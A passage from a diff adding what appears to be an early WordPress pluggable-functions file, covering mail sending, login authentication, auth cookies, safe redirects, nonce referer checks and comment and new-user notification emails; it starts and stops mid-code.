str_replace( '>', '', $from_email ); + $from_email = trim( $from_email ); + } else { + $from_email = trim( $content ); + } + } elseif ( 'content-type' == strtolower($name) ) { + if ( strpos( $content,';' ) !== false ) { + list( $type, $charset ) = explode( ';', $content ); + $content_type = trim( $type ); + if ( false !== stripos( $charset, 'charset=' ) ) { + $charset = trim( str_replace( array( 'charset=', '"' ), '', $charset ) ); + } elseif ( false !== stripos( $charset, 'boundary=' ) ) { + $boundary = trim( str_replace( array( 'BOUNDARY=', 'boundary=', '"' ), '', $charset ) ); + $charset = ''; + } + } else { + $content_type = trim( $content ); + } + } elseif ( 'cc' == strtolower($name) ) { + $cc = explode(",", $content); + } elseif ( 'bcc' == strtolower($name) ) { + $bcc = explode(",", $content); + } else { + // Add it to our grand headers array + $headers[trim( $name )] = trim( $content ); + } + } + } + } + + // Empty out the values that may be set + $phpmailer->ClearAddresses(); + $phpmailer->ClearAllRecipients(); + $phpmailer->ClearAttachments(); + $phpmailer->ClearBCCs(); + $phpmailer->ClearCCs(); + $phpmailer->ClearCustomHeaders(); + $phpmailer->ClearReplyTos(); + + // From email and name + // If we don't have a name from the input headers + if ( !isset( $from_name ) ) { + $from_name = 'WordPress'; + } + + /* If we don't have an email from the input headers default to wordpress@$sitename + * Some hosts will block outgoing mail from this address if it doesn't exist but + * there's no easy alternative. Defaulting to admin_email might appear to be another + * option but some hosts may refuse to relay mail from an unknown domain. See + * http://trac.wordpress.org/ticket/5007. + */ + + if ( !isset( $from_email ) ) { + // Get the site domain and get rid of www. + $sitename = strtolower( $_SERVER['SERVER_NAME'] ); + if ( substr( $sitename, 0, 4 ) == 'www.' ) { + $sitename = substr( $sitename, 4 ); + } + + $from_email = 'wordpress@' . $sitename; + } + + // Plugin authors can override the potentially troublesome default + $phpmailer->From = apply_filters( 'wp_mail_from', $from_email ); + $phpmailer->FromName = apply_filters( 'wp_mail_from_name', $from_name ); + + // Set destination address + $phpmailer->AddAddress( $to ); + + // Set mail's subject and body + $phpmailer->Subject = $subject; + $phpmailer->Body = $message; + + // Add any CC and BCC recipients + if ( !empty($cc) ) { + foreach ( (array) $cc as $recipient ) { + $phpmailer->AddCc( trim($recipient) ); + } + } + if ( !empty($bcc) ) { + foreach ( (array) $bcc as $recipient) { + $phpmailer->AddBcc( trim($recipient) ); + } + } + + // Set to use PHP's mail() + $phpmailer->IsMail(); + + // Set Content-Type and charset + // If we don't have a content-type from the input headers + if ( !isset( $content_type ) ) { + $content_type = 'text/plain'; + } + + $content_type = apply_filters( 'wp_mail_content_type', $content_type ); + + $phpmailer->ContentType = $content_type; + + // Set whether it's plaintext or not, depending on $content_type + if ( $content_type == 'text/html' ) { + $phpmailer->IsHTML( true ); + } + + // If we don't have a charset from the input headers + if ( !isset( $charset ) ) { + $charset = get_bloginfo( 'charset' ); + } + + // Set the content-type and charset + $phpmailer->CharSet = apply_filters( 'wp_mail_charset', $charset ); + + // Set custom headers + if ( !empty( $headers ) ) { + foreach( (array) $headers as $name => $content ) { + $phpmailer->AddCustomHeader( sprintf( '%1$s: %2$s', $name, $content ) ); + } + if ( false !== stripos( $content_type, 'multipart' ) && ! empty($boundary) ) { + $phpmailer->AddCustomHeader( sprintf( "Content-Type: %s;\n\t boundary=\"%s\"", $content_type, $boundary ) ); + } + } + + if ( !empty( $attachments ) ) { + foreach ( $attachments as $attachment ) { + $phpmailer->AddAttachment($attachment); + } + } + + do_action_ref_array( 'phpmailer_init', array( &$phpmailer ) ); + + // Send! + $result = @$phpmailer->Send(); + + return $result; +} +endif; + +if ( !function_exists('wp_authenticate') ) : +/** + * Checks a user's login information and logs them in if it checks out. + * + * @since 2.5.0 + * + * @param string $username User's username + * @param string $password User's password + * @return WP_Error|WP_User WP_User object if login successful, otherwise WP_Error object. + */ +function wp_authenticate($username, $password) { + $username = sanitize_user($username); + $password = trim($password); + + $user = apply_filters('authenticate', null, $username, $password); + + if ( $user == null ) { + // TODO what should the error message be? (Or would these even happen?) + // Only needed if all authentication handlers fail to return anything. + $user = new WP_Error('authentication_failed', __('ERROR: Invalid username or incorrect password.')); + } + + $ignore_codes = array('empty_username', 'empty_password'); + + if (is_wp_error($user) && !in_array($user->get_error_code(), $ignore_codes) ) { + do_action('wp_login_failed', $username); + } + + return $user; +} +endif; + +if ( !function_exists('wp_logout') ) : +/** + * Log the current user out. + * + * @since 2.5.0 + */ +function wp_logout() { + wp_clear_auth_cookie(); + do_action('wp_logout'); +} +endif; + +if ( !function_exists('wp_validate_auth_cookie') ) : +/** + * Validates authentication cookie. + * + * The checks include making sure that the authentication cookie is set and + * pulling in the contents (if $cookie is not used). + * + * Makes sure the cookie is not expired. Verifies the hash in cookie is what is + * should be and compares the two. + * + * @since 2.5 + * + * @param string $cookie Optional. If used, will validate contents instead of cookie's + * @param string $scheme Optional. The cookie scheme to use: auth, secure_auth, or logged_in + * @return bool|int False if invalid cookie, User ID if valid. + */ +function wp_validate_auth_cookie($cookie = '', $scheme = '') { + if ( ! $cookie_elements = wp_parse_auth_cookie($cookie, $scheme) ) { + do_action('auth_cookie_malformed', $cookie, $scheme); + return false; + } + + extract($cookie_elements, EXTR_OVERWRITE); + + $expired = $expiration; + + // Allow a grace period for POST and AJAX requests + if ( defined('DOING_AJAX') || 'POST' == $_SERVER['REQUEST_METHOD'] ) + $expired += 3600; + + // Quick check to see if an honest cookie has expired + if ( $expired < time() ) { + do_action('auth_cookie_expired', $cookie_elements); + return false; + } + + $user = get_userdatabylogin($username); + if ( ! $user ) { + do_action('auth_cookie_bad_username', $cookie_elements); + return false; + } + + $pass_frag = substr($user->user_pass, 8, 4); + + $key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme); + $hash = hash_hmac('md5', $username . '|' . $expiration, $key); + + if ( $hmac != $hash ) { + do_action('auth_cookie_bad_hash', $cookie_elements); + return false; + } + + if ( $expiration < time() ) // AJAX/POST grace period set above + $GLOBALS['login_grace_period'] = 1; + + do_action('auth_cookie_valid', $cookie_elements, $user); + + return $user->ID; +} +endif; + +if ( !function_exists('wp_generate_auth_cookie') ) : +/** + * Generate authentication cookie contents. + * + * @since 2.5 + * @uses apply_filters() Calls 'auth_cookie' hook on $cookie contents, User ID + * and expiration of cookie. + * + * @param int $user_id User ID + * @param int $expiration Cookie expiration in seconds + * @param string $scheme Optional. The cookie scheme to use: auth, secure_auth, or logged_in + * @return string Authentication cookie contents + */ +function wp_generate_auth_cookie($user_id, $expiration, $scheme = 'auth') { + $user = get_userdata($user_id); + + $pass_frag = substr($user->user_pass, 8, 4); + + $key = wp_hash($user->user_login . $pass_frag . '|' . $expiration, $scheme); + $hash = hash_hmac('md5', $user->user_login . '|' . $expiration, $key); + + $cookie = $user->user_login . '|' . $expiration . '|' . $hash; + + return apply_filters('auth_cookie', $cookie, $user_id, $expiration, $scheme); +} +endif; + +if ( !function_exists('wp_parse_auth_cookie') ) : +/** + * Parse a cookie into its components + * + * @since 2.7 + * + * @param string $cookie + * @param string $scheme Optional. The cookie scheme to use: auth, secure_auth, or logged_in + * @return array Authentication cookie components + */ +function wp_parse_auth_cookie($cookie = '', $scheme = '') { + if ( empty($cookie) ) { + switch ($scheme){ + case 'auth': + $cookie_name = AUTH_COOKIE; + break; + case 'secure_auth': + $cookie_name = SECURE_AUTH_COOKIE; + break; + case "logged_in": + $cookie_name = LOGGED_IN_COOKIE; + break; + default: + if ( is_ssl() ) { + $cookie_name = SECURE_AUTH_COOKIE; + $scheme = 'secure_auth'; + } else { + $cookie_name = AUTH_COOKIE; + $scheme = 'auth'; + } + } + + if ( empty($_COOKIE[$cookie_name]) ) + return false; + $cookie = $_COOKIE[$cookie_name]; + } + + $cookie_elements = explode('|', $cookie); + if ( count($cookie_elements) != 3 ) + return false; + + list($username, $expiration, $hmac) = $cookie_elements; + + return compact('username', 'expiration', 'hmac', 'scheme'); +} +endif; + +if ( !function_exists('wp_set_auth_cookie') ) : +/** + * Sets the authentication cookies based User ID. + * + * The $remember parameter increases the time that the cookie will be kept. The + * default the cookie is kept without remembering is two days. When $remember is + * set, the cookies will be kept for 14 days or two weeks. + * + * @since 2.5 + * + * @param int $user_id User ID + * @param bool $remember Whether to remember the user or not + */ +function wp_set_auth_cookie($user_id, $remember = false, $secure = '') { + if ( $remember ) { + $expiration = $expire = time() + apply_filters('auth_cookie_expiration', 1209600, $user_id, $remember); + } else { + $expiration = time() + apply_filters('auth_cookie_expiration', 172800, $user_id, $remember); + $expire = 0; + } + + if ( '' === $secure ) + $secure = is_ssl() ? true : false; + + if ( $secure ) { + $auth_cookie_name = SECURE_AUTH_COOKIE; + $scheme = 'secure_auth'; + } else { + $auth_cookie_name = AUTH_COOKIE; + $scheme = 'auth'; + } + + $auth_cookie = wp_generate_auth_cookie($user_id, $expiration, $scheme); + $logged_in_cookie = wp_generate_auth_cookie($user_id, $expiration, 'logged_in'); + + do_action('set_auth_cookie', $auth_cookie, $expire, $expiration, $user_id, $scheme); + do_action('set_logged_in_cookie', $logged_in_cookie, $expire, $expiration, $user_id, 'logged_in'); + + // Set httponly if the php version is >= 5.2.0 + if ( version_compare(phpversion(), '5.2.0', 'ge') ) { + setcookie($auth_cookie_name, $auth_cookie, $expire, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN, $secure, true); + setcookie($auth_cookie_name, $auth_cookie, $expire, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, $secure, true); + setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, COOKIEPATH, COOKIE_DOMAIN, false, true); + if ( COOKIEPATH != SITECOOKIEPATH ) + setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, SITECOOKIEPATH, COOKIE_DOMAIN, false, true); + } else { + $cookie_domain = COOKIE_DOMAIN; + if ( !empty($cookie_domain) ) + $cookie_domain .= '; HttpOnly'; + setcookie($auth_cookie_name, $auth_cookie, $expire, PLUGINS_COOKIE_PATH, $cookie_domain, $secure); + setcookie($auth_cookie_name, $auth_cookie, $expire, ADMIN_COOKIE_PATH, $cookie_domain, $secure); + setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, COOKIEPATH, $cookie_domain); + if ( COOKIEPATH != SITECOOKIEPATH ) + setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, SITECOOKIEPATH, $cookie_domain); + } +} +endif; + +if ( !function_exists('wp_clear_auth_cookie') ) : +/** + * Removes all of the cookies associated with authentication. + * + * @since 2.5 + */ +function wp_clear_auth_cookie() { + do_action('clear_auth_cookie'); + + setcookie(AUTH_COOKIE, ' ', time() - 31536000, ADMIN_COOKIE_PATH, COOKIE_DOMAIN); + setcookie(SECURE_AUTH_COOKIE, ' ', time() - 31536000, ADMIN_COOKIE_PATH, COOKIE_DOMAIN); + setcookie(AUTH_COOKIE, ' ', time() - 31536000, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN); + setcookie(SECURE_AUTH_COOKIE, ' ', time() - 31536000, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN); + setcookie(LOGGED_IN_COOKIE, ' ', time() - 31536000, COOKIEPATH, COOKIE_DOMAIN); + setcookie(LOGGED_IN_COOKIE, ' ', time() - 31536000, SITECOOKIEPATH, COOKIE_DOMAIN); + + // Old cookies + setcookie(AUTH_COOKIE, ' ', time() - 31536000, COOKIEPATH, COOKIE_DOMAIN); + setcookie(AUTH_COOKIE, ' ', time() - 31536000, SITECOOKIEPATH, COOKIE_DOMAIN); + setcookie(SECURE_AUTH_COOKIE, ' ', time() - 31536000, COOKIEPATH, COOKIE_DOMAIN); + setcookie(SECURE_AUTH_COOKIE, ' ', time() - 31536000, SITECOOKIEPATH, COOKIE_DOMAIN); + + // Even older cookies + setcookie(USER_COOKIE, ' ', time() - 31536000, COOKIEPATH, COOKIE_DOMAIN); + setcookie(PASS_COOKIE, ' ', time() - 31536000, COOKIEPATH, COOKIE_DOMAIN); + setcookie(USER_COOKIE, ' ', time() - 31536000, SITECOOKIEPATH, COOKIE_DOMAIN); + setcookie(PASS_COOKIE, ' ', time() - 31536000, SITECOOKIEPATH, COOKIE_DOMAIN); +} +endif; + +if ( !function_exists('is_user_logged_in') ) : +/** + * Checks if the current visitor is a logged in user. + * + * @since 2.0.0 + * + * @return bool True if user is logged in, false if not logged in. + */ +function is_user_logged_in() { + $user = wp_get_current_user(); + + if ( $user->id == 0 ) + return false; + + return true; +} +endif; + +if ( !function_exists('auth_redirect') ) : +/** + * Checks if a user is logged in, if not it redirects them to the login page. + * + * @since 1.5 + */ +function auth_redirect() { + // Checks if a user is logged in, if not redirects them to the login page + + if ( is_ssl() || force_ssl_admin() ) + $secure = true; + else + $secure = false; + + // If https is required and request is http, redirect + if ( $secure && !is_ssl() && false !== strpos($_SERVER['REQUEST_URI'], 'wp-admin') ) { + if ( 0 === strpos($_SERVER['REQUEST_URI'], 'http') ) { + wp_redirect(preg_replace('|^http://|', 'https://', $_SERVER['REQUEST_URI'])); + exit(); + } else { + wp_redirect('https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); + exit(); + } + } + + if ( $user_id = wp_validate_auth_cookie( '', apply_filters( 'auth_redirect_scheme', '' ) ) ) { + do_action('auth_redirect', $user_id); + + // If the user wants ssl but the session is not ssl, redirect. + if ( !$secure && get_user_option('use_ssl', $user_id) && false !== strpos($_SERVER['REQUEST_URI'], 'wp-admin') ) { + if ( 0 === strpos($_SERVER['REQUEST_URI'], 'http') ) { + wp_redirect(preg_replace('|^http://|', 'https://', $_SERVER['REQUEST_URI'])); + exit(); + } else { + wp_redirect('https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); + exit(); + } + } + + return; // The cookie is good so we're done + } + + // The cookie is no good so force login + nocache_headers(); + + if ( is_ssl() ) + $proto = 'https://'; + else + $proto = 'http://'; + + $redirect = ( strpos($_SERVER['REQUEST_URI'], '/options.php') && wp_get_referer() ) ? wp_get_referer() : $proto . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; + + $login_url = wp_login_url($redirect); + + wp_redirect($login_url); + exit(); +} +endif; + +if ( !function_exists('check_admin_referer') ) : +/** + * Makes sure that a user was referred from another admin page. + * + * To avoid security exploits. + * + * @since 1.2.0 + * @uses do_action() Calls 'check_admin_referer' on $action. + * + * @param string $action Action nonce + * @param string $query_arg where to look for nonce in $_REQUEST (since 2.5) + */ +function check_admin_referer($action = -1, $query_arg = '_wpnonce') { + $adminurl = strtolower(admin_url()); + $referer = strtolower(wp_get_referer()); + $result = isset($_REQUEST[$query_arg]) ? wp_verify_nonce($_REQUEST[$query_arg], $action) : false; + if ( !$result && !(-1 == $action && strpos($referer, $adminurl) !== false) ) { + wp_nonce_ays($action); + die(); + } + do_action('check_admin_referer', $action, $result); + return $result; +}endif; + +if ( !function_exists('check_ajax_referer') ) : +/** + * Verifies the AJAX request to prevent processing requests external of the blog. + * + * @since 2.0.3 + * + * @param string $action Action nonce + * @param string $query_arg where to look for nonce in $_REQUEST (since 2.5) + */ +function check_ajax_referer( $action = -1, $query_arg = false, $die = true ) { + if ( $query_arg ) + $nonce = $_REQUEST[$query_arg]; + else + $nonce = isset($_REQUEST['_ajax_nonce']) ? $_REQUEST['_ajax_nonce'] : $_REQUEST['_wpnonce']; + + $result = wp_verify_nonce( $nonce, $action ); + + if ( $die && false == $result ) + die('-1'); + + do_action('check_ajax_referer', $action, $result); + + return $result; +} +endif; + +if ( !function_exists('wp_redirect') ) : +/** + * Redirects to another page, with a workaround for the IIS Set-Cookie bug. + * + * @link http://support.microsoft.com/kb/q176113/ + * @since 1.5.1 + * @uses apply_filters() Calls 'wp_redirect' hook on $location and $status. + * + * @param string $location The path to redirect to + * @param int $status Status code to use + * @return bool False if $location is not set + */ +function wp_redirect($location, $status = 302) { + global $is_IIS; + + $location = apply_filters('wp_redirect', $location, $status); + $status = apply_filters('wp_redirect_status', $status, $location); + + if ( !$location ) // allows the wp_redirect filter to cancel a redirect + return false; + + $location = wp_sanitize_redirect($location); + + if ( $is_IIS ) { + header("Refresh: 0;url=$location"); + } else { + if ( php_sapi_name() != 'cgi-fcgi' ) + status_header($status); // This causes problems on IIS and some FastCGI setups + header("Location: $location", true, $status); + } +} +endif; + +if ( !function_exists('wp_sanitize_redirect') ) : +/** + * Sanitizes a URL for use in a redirect. + * + * @since 2.3 + * + * @return string redirect-sanitized URL + **/ +function wp_sanitize_redirect($location) { + $location = preg_replace('|[^a-z0-9-~+_.?#=&;,/:%!]|i', '', $location); + $location = wp_kses_no_null($location); + + // remove %0d and %0a from location + $strip = array('%0d', '%0a', '%0D', '%0A'); + $location = _deep_replace($strip, $location); + return $location; +} +endif; + +if ( !function_exists('wp_safe_redirect') ) : +/** + * Performs a safe (local) redirect, using wp_redirect(). + * + * Checks whether the $location is using an allowed host, if it has an absolute + * path. A plugin can therefore set or remove allowed host(s) to or from the + * list. + * + * If the host is not allowed, then the redirect is to wp-admin on the siteurl + * instead. This prevents malicious redirects which redirect to another host, + * but only used in a few places. + * + * @since 2.3 + * @uses wp_validate_redirect() To validate the redirect is to an allowed host. + * + * @return void Does not return anything + **/ +function wp_safe_redirect($location, $status = 302) { + + // Need to look at the URL the way it will end up in wp_redirect() + $location = wp_sanitize_redirect($location); + + $location = wp_validate_redirect($location, admin_url()); + + wp_redirect($location, $status); +} +endif; + +if ( !function_exists('wp_validate_redirect') ) : +/** + * Validates a URL for use in a redirect. + * + * Checks whether the $location is using an allowed host, if it has an absolute + * path. A plugin can therefore set or remove allowed host(s) to or from the + * list. + * + * If the host is not allowed, then the redirect is to $default supplied + * + * @since 2.8.1 + * @uses apply_filters() Calls 'allowed_redirect_hosts' on an array containing + * WordPress host string and $location host string. + * + * @param string $location The redirect to validate + * @param string $default The value to return is $location is not allowed + * @return string redirect-sanitized URL + **/ +function wp_validate_redirect($location, $default = '') { + // browsers will assume 'http' is your protocol, and will obey a redirect to a URL starting with '//' + if ( substr($location, 0, 2) == '//' ) + $location = 'http:' . $location; + + // In php 5 parse_url may fail if the URL query part contains http://, bug #38143 + $test = ( $cut = strpos($location, '?') ) ? substr( $location, 0, $cut ) : $location; + + $lp = parse_url($test); + $wpp = parse_url(get_option('home')); + + $allowed_hosts = (array) apply_filters('allowed_redirect_hosts', array($wpp['host']), isset($lp['host']) ? $lp['host'] : ''); + + if ( isset($lp['host']) && ( !in_array($lp['host'], $allowed_hosts) && $lp['host'] != strtolower($wpp['host'])) ) + $location = $default; + + return $location; +} +endif; + +if ( ! function_exists('wp_notify_postauthor') ) : +/** + * Notify an author of a comment/trackback/pingback to one of their posts. + * + * @since 1.0.0 + * + * @param int $comment_id Comment ID + * @param string $comment_type Optional. The comment type either 'comment' (default), 'trackback', or 'pingback' + * @return bool False if user email does not exist. True on completion. + */ +function wp_notify_postauthor($comment_id, $comment_type='') { + $comment = get_comment($comment_id); + $post = get_post($comment->comment_post_ID); + $user = get_userdata( $post->post_author ); + $current_user = wp_get_current_user(); + + if ( $comment->user_id == $post->post_author ) return false; // The author moderated a comment on his own post + + if ('' == $user->user_email) return false; // If there's no email to send the comment to + + $comment_author_domain = @gethostbyaddr($comment->comment_author_IP); + + // The blogname option is escaped with esc_html on the way into the database in sanitize_option + // we want to reverse this for the plain text arena of emails. + $blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES); + + if ( empty( $comment_type ) ) $comment_type = 'comment'; + + if ('comment' == $comment_type) { + /* translators: 1: post id, 2: post title */ + $notify_message = sprintf( __('New comment on your post #%1$s "%2$s"'), $comment->comment_post_ID, $post->post_title ) . "\r\n"; + /* translators: 1: comment author, 2: author IP, 3: author domain */ + $notify_message .= sprintf( __('Author : %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n"; + $notify_message .= sprintf( __('E-mail : %s'), $comment->comment_author_email ) . "\r\n"; + $notify_message .= sprintf( __('URL : %s'), $comment->comment_author_url ) . "\r\n"; + $notify_message .= sprintf( __('Whois : http://ws.arin.net/cgi-bin/whois.pl?queryinput=%s'), $comment->comment_author_IP ) . "\r\n"; + $notify_message .= __('Comment: ') . "\r\n" . $comment->comment_content . "\r\n\r\n"; + $notify_message .= __('You can see all comments on this post here: ') . "\r\n"; + /* translators: 1: blog name, 2: post title */ + $subject = sprintf( __('[%1$s] Comment: "%2$s"'), $blogname, $post->post_title ); + } elseif ('trackback' == $comment_type) { + /* translators: 1: post id, 2: post title */ + $notify_message = sprintf( __('New trackback on your post #%1$s "%2$s"'), $comment->comment_post_ID, $post->post_title ) . "\r\n"; + /* translators: 1: website name, 2: author IP, 3: author domain */ + $notify_message .= sprintf( __('Website: %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n"; + $notify_message .= sprintf( __('URL : %s'), $comment->comment_author_url ) . "\r\n"; + $notify_message .= __('Excerpt: ') . "\r\n" . $comment->comment_content . "\r\n\r\n"; + $notify_message .= __('You can see all trackbacks on this post here: ') . "\r\n"; + /* translators: 1: blog name, 2: post title */ + $subject = sprintf( __('[%1$s] Trackback: "%2$s"'), $blogname, $post->post_title ); + } elseif ('pingback' == $comment_type) { + /* translators: 1: post id, 2: post title */ + $notify_message = sprintf( __('New pingback on your post #%1$s "%2$s"'), $comment->comment_post_ID, $post->post_title ) . "\r\n"; + /* translators: 1: comment author, 2: author IP, 3: author domain */ + $notify_message .= sprintf( __('Website: %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n"; + $notify_message .= sprintf( __('URL : %s'), $comment->comment_author_url ) . "\r\n"; + $notify_message .= __('Excerpt: ') . "\r\n" . sprintf('[...] %s [...]', $comment->comment_content ) . "\r\n\r\n"; + $notify_message .= __('You can see all pingbacks on this post here: ') . "\r\n"; + /* translators: 1: blog name, 2: post title */ + $subject = sprintf( __('[%1$s] Pingback: "%2$s"'), $blogname, $post->post_title ); + } + $notify_message .= get_permalink($comment->comment_post_ID) . "#comments\r\n\r\n"; + if ( EMPTY_TRASH_DAYS ) + $notify_message .= sprintf( __('Trash it: %s'), admin_url("comment.php?action=trash&c=$comment_id") ) . "\r\n"; + else + $notify_message .= sprintf( __('Delete it: %s'), admin_url("comment.php?action=delete&c=$comment_id") ) . "\r\n"; + $notify_message .= sprintf( __('Spam it: %s'), admin_url("comment.php?action=spam&c=$comment_id") ) . "\r\n"; + + $wp_email = 'wordpress@' . preg_replace('#^www\.#', '', strtolower($_SERVER['SERVER_NAME'])); + + if ( '' == $comment->comment_author ) { + $from = "From: \"$blogname\" <$wp_email>"; + if ( '' != $comment->comment_author_email ) + $reply_to = "Reply-To: $comment->comment_author_email"; + } else { + $from = "From: \"$comment->comment_author\" <$wp_email>"; + if ( '' != $comment->comment_author_email ) + $reply_to = "Reply-To: \"$comment->comment_author_email\" <$comment->comment_author_email>"; + } + + $message_headers = "$from\n" + . "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n"; + + if ( isset($reply_to) ) + $message_headers .= $reply_to . "\n"; + + $notify_message = apply_filters('comment_notification_text', $notify_message, $comment_id); + $subject = apply_filters('comment_notification_subject', $subject, $comment_id); + $message_headers = apply_filters('comment_notification_headers', $message_headers, $comment_id); + + @wp_mail($user->user_email, $subject, $notify_message, $message_headers); + + return true; +} +endif; + +if ( !function_exists('wp_notify_moderator') ) : +/** + * Notifies the moderator of the blog about a new comment that is awaiting approval. + * + * @since 1.0 + * @uses $wpdb + * + * @param int $comment_id Comment ID + * @return bool Always returns true + */ +function wp_notify_moderator($comment_id) { + global $wpdb; + + if( get_option( "moderation_notify" ) == 0 ) + return true; + + $comment = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_ID=%d LIMIT 1", $comment_id)); + $post = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID=%d LIMIT 1", $comment->comment_post_ID)); + + $comment_author_domain = @gethostbyaddr($comment->comment_author_IP); + $comments_waiting = $wpdb->get_var("SELECT count(comment_ID) FROM $wpdb->comments WHERE comment_approved = '0'"); + + // The blogname option is escaped with esc_html on the way into the database in sanitize_option + // we want to reverse this for the plain text arena of emails. + $blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES); + + switch ($comment->comment_type) + { + case 'trackback': + $notify_message = sprintf( __('A new trackback on the post #%1$s "%2$s" is waiting for your approval'), $post->ID, $post->post_title ) . "\r\n"; + $notify_message .= get_permalink($comment->comment_post_ID) . "\r\n\r\n"; + $notify_message .= sprintf( __('Website : %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n"; + $notify_message .= sprintf( __('URL : %s'), $comment->comment_author_url ) . "\r\n"; + $notify_message .= __('Trackback excerpt: ') . "\r\n" . $comment->comment_content . "\r\n\r\n"; + break; + case 'pingback': + $notify_message = sprintf( __('A new pingback on the post #%1$s "%2$s" is waiting for your approval'), $post->ID, $post->post_title ) . "\r\n"; + $notify_message .= get_permalink($comment->comment_post_ID) . "\r\n\r\n"; + $notify_message .= sprintf( __('Website : %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n"; + $notify_message .= sprintf( __('URL : %s'), $comment->comment_author_url ) . "\r\n"; + $notify_message .= __('Pingback excerpt: ') . "\r\n" . $comment->comment_content . "\r\n\r\n"; + break; + default: //Comments + $notify_message = sprintf( __('A new comment on the post #%1$s "%2$s" is waiting for your approval'), $post->ID, $post->post_title ) . "\r\n"; + $notify_message .= get_permalink($comment->comment_post_ID) . "\r\n\r\n"; + $notify_message .= sprintf( __('Author : %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n"; + $notify_message .= sprintf( __('E-mail : %s'), $comment->comment_author_email ) . "\r\n"; + $notify_message .= sprintf( __('URL : %s'), $comment->comment_author_url ) . "\r\n"; + $notify_message .= sprintf( __('Whois : http://ws.arin.net/cgi-bin/whois.pl?queryinput=%s'), $comment->comment_author_IP ) . "\r\n"; + $notify_message .= __('Comment: ') . "\r\n" . $comment->comment_content . "\r\n\r\n"; + break; + } + + $notify_message .= sprintf( __('Approve it: %s'), admin_url("comment.php?action=approve&c=$comment_id") ) . "\r\n"; + if ( EMPTY_TRASH_DAYS ) + $notify_message .= sprintf( __('Trash it: %s'), admin_url("comment.php?action=trash&c=$comment_id") ) . "\r\n"; + else + $notify_message .= sprintf( __('Delete it: %s'), admin_url("comment.php?action=delete&c=$comment_id") ) . "\r\n"; + $notify_message .= sprintf( __('Spam it: %s'), admin_url("comment.php?action=spam&c=$comment_id") ) . "\r\n"; + + $notify_message .= sprintf( _n('Currently %s comment is waiting for approval. Please visit the moderation panel:', + 'Currently %s comments are waiting for approval. Please visit the moderation panel:', $comments_waiting), number_format_i18n($comments_waiting) ) . "\r\n"; + $notify_message .= admin_url("edit-comments.php?comment_status=moderated") . "\r\n"; + + $subject = sprintf( __('[%1$s] Please moderate: "%2$s"'), $blogname, $post->post_title ); + $admin_email = get_option('admin_email'); + $message_headers = ''; + + $notify_message = apply_filters('comment_moderation_text', $notify_message, $comment_id); + $subject = apply_filters('comment_moderation_subject', $subject, $comment_id); + $message_headers = apply_filters('comment_moderation_headers', $message_headers); + + @wp_mail($admin_email, $subject, $notify_message, $message_headers); + + return true; +} +endif; + +if ( !function_exists('wp_password_change_notification') ) : +/** + * Notify the blog admin of a user changing password, normally via email. + * + * @since 2.7 + * + * @param object $user User Object + */ +function wp_password_change_notification(&$user) { + // send a copy of password change notification to the admin + // but check to see if it's the admin whose password we're changing, and skip this + if ( $user->user_email != get_option('admin_email') ) { + $message = sprintf(__('Password Lost and Changed for user: %s'), $user->user_login) . "\r\n"; + // The blogname option is escaped with esc_html on the way into the database in sanitize_option + // we want to reverse this for the plain text arena of emails. + $blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES); + wp_mail(get_option('admin_email'), sprintf(__('[%s] Password Lost/Changed'), $blogname), $message); + } +} +endif; + +if ( !function_exists('wp_new_user_notification') ) : +/** + * Notify the blog admin of a new user, normally via email. + * + * @since 2.0 + * + * @param int $user_id User ID + * @param string $plaintext_pass Optional. The user's plaintext password + */ +function wp_new_user_notification($user_id, $plaintext_pass = '') { + $user = new WP_User($user_id); + + $user_login = stripslashes($user->user_login); + $user_email = stripslashes($user->user_email); + + // The blogname option is escaped with esc_html on the way into the database in sanitize_option + // we want to reverse this for the plain text arena of emails. + $blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES); + + $message = sprintf(__('New user registration on your blog %s:'), $blogname) . "\r\n\r\n"; + $message .= sprintf(__('Username: %s'), $user_login) . "\r\n\r\n"; + $message .= sprintf(__('E-mail: %s'), $user_email) . "\r\n"; + + @wp_mail(get_option('admin_email'), sprintf(__('[%s] New User Registration'), $blogname), $message); + + if ( empty($plaintext_pass) ) + return; + + $message = sprintf(__('Username: %s'), $user_login) . "\r\n"; + $message .= sprintf(__('Password: %s'), $plaintext_pass) . "\r\n"; + $message .= wp_login_url() . "\r\n"; + + wp_mail($user_email, sprintf(__('[%s] Your username and password'), $blogname), $message); + +} +endif; + +if ( !function_exists('wp_nonce_tick') ) : +/** + * Get the time-dependent variable for nonce creation. + * + * A nonce has a lifespan of two ticks. Nonces in their second tick may be + * updated, e.g. by autosave. + * + * @since 2.5 + * + * @return int + */ +function wp_nonce_tick() { + $nonce_life = apply_filters('nonce_life', 86400); + + return ceil(time() / ( $nonce_life / 2 )); +} +endif; + +if ( !function_exists('wp_verify_nonce') ) : +/** + * Verify that correct nonce was used with time limit. + * + * The user is given an amount of time to use the token, so therefore, since the + * UID and $action remain the same, the independent variable is the time. + * + * @since 2.0.3 + * + 